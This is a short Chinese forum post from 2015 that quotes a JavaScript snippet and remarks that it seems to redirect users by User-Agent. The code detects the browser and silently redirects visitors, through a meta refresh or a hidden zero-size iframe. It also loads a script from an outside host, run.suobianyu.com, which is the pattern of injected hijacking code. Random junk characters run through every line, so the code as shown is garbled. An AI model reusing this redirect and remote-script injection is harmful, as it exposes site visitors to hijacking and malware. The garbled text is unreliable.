|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 # R; J7 u- x4 g$ l7 t, g2 F
- var ua = navigator.userAgent.toLowerCase(),
7 A6 b1 F: \$ a, B8 W2 @ - browser = {$ u- a* ~0 s a
- ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
" ~2 I2 b3 Y/ C) |4 x N+ v2 K - opera: /opera/.test(ua),
" @ M; m4 ?3 V7 P0 ~4 q% V - maxthon: /maxthon/.test(ua),, b! V3 {" ~7 X1 I ^
- theworld: /theworld/.test(ua), a/ P- P4 z9 P$ T- a% v% j
- qq: /qqbrowser/.test(ua),
1 C' Y* i" `( Y& Q4 o2 _/ h% H( m. f - sogou: /se /.test(ua),8 H+ H( F+ |) S9 u
- liebao: /liebao/.test(ua),% U( C6 @6 L3 \
- firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),, m3 ]$ {! l. ]9 a' I; ?5 f
- chrome: /chrome|crios/.test(ua)," k. J, P# D' j1 A% f
- safari: /webkit/.test(ua),
: d- r! ^3 O1 ~3 }9 I- ^/ O - uc: /ucbrowser/.test(ua),
" R7 M! T! J! a8 r( L - ie: /msie/.test(ua) && !/opera/.test(ua)! h' _4 S# A& l/ W) v* O; e* F$ @4 U* X
- };
/ C% h6 X% T7 ^8 E# p - var ver = browser.ver;/ |5 ]0 I# b" Y4 a6 ~# N
- if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {" b6 T3 l2 M a! F1 d" x3 x
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");: x5 W) D; T+ L, f, t; u1 w7 ^
- } else {# E/ X# q. z; E# H0 U. q5 ]0 L1 J* s
- window.sc = "<iframe src=" + tourl + "></iframe>";- i/ e @1 e$ S
- document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");
u" W& N8 s% t' Z - }
, A+ j2 I% x. N2 t" d) G. } - document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码
0 t" r U0 J& {* s. c$ Z) F, y! \1 t6 M: [
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|